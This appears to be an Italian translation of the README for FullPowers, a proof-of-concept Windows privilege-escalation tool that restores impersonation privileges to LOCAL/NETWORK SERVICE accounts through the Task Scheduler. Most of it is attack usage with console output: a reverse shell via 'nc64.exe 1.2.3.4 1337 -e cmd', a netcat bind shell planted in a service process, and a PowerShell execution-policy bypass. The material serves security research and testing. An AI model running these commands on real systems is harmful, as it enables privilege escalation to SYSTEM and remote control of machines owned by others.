
Recupera l'insieme di privilegi predefinito di un account LOCAL/NETWORK SERVICE
FullPowers è uno strumento Proof-of-Concept che ho realizzato per recuperare automaticamente il set di privilegi predefinito di un account di servizio, inclusi SeAssignPrimaryToken e SeImpersonate.
Su Windows, alcuni servizi eseguiti come LOCAL SERVICE o NETWORK SERVICE sono configurati per funzionare con un set di privilegi ristretto. Di conseguenza, anche se il servizio viene compromesso, non si ottengono i privilegi di impersonificazione d'oro e l'elevazione dei privilegi a LOCAL SYSTEM dovrebbe essere più complicata. Tuttavia, ho scoperto che, quando si crea un'attività pianificata, il nuovo processo creato dal Servizio Utilità di pianificazione ha tutti i privilegi predefiniti dell'account utente associato (eccetto SeImpersonate). Pertanto, con alcune manipolazioni dei token, è possibile generare un nuovo processo con tutti i privilegi mancanti.
Per maggiori informazioni: https://itm4n.github.io/localservice-privileges/
⚠️ Questo strumento deve essere eseguito solo come LOCAL SERVICE o NETWORK SERVICE.
Puoi controllare il messaggio di aiuto usando l'opzione -h.
c:\TOOLS>FullPowers -h
FullPowers v0.1 (by @itm4n)
This tool leverages the Task Scheduler to recover the default privilege set of a service account.
For more information: https://itm4n.github.io/localservice-privileges/
Optional arguments:
-v Verbose mode, used for debugging essentially
-c <CMD> Custom command line to execute (default is 'C:\Windows\System32\cmd.exe')
-x Try to get the extended set of privileges (might fail with NETWORK SERVICE)
-z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:\TOOLS>FullPowers
[+] Successfully created scheduled task. PID=9976
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>
c:\TOOLS>FullPowers -c "powershell -ep Bypass"
[+] Successfully created scheduled task. PID=9028
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\WINDOWS\system32> Get-ExecutionPolicy
Bypass
c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
[+] Successfully created scheduled task. PID=5482
[+] CreateProcessAsUser() OK
Vuoi testare questo PoC da solo? Ottimo! Ecco alcune semplici istruzioni per iniziare.
L'idea generale è avviare una bindshell dal processo di un servizio esistente, connettersi ad essa e poi eseguire l'eseguibile.
upnphost.C:\TOOLS>RunFromProcess-x64.exe <PID> C:\TOOLS\nc64.exe -l -p 9001 -e cmd
C:\TOOLS>nc64.exe 127.0.0.1 9001
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\local service
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================= ======================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
c:\TOOLS>FullPowers
[+] Started dummy thread with id 5568
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\local service
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Ora dovresti avere una shell con privilegi di impersonificazione!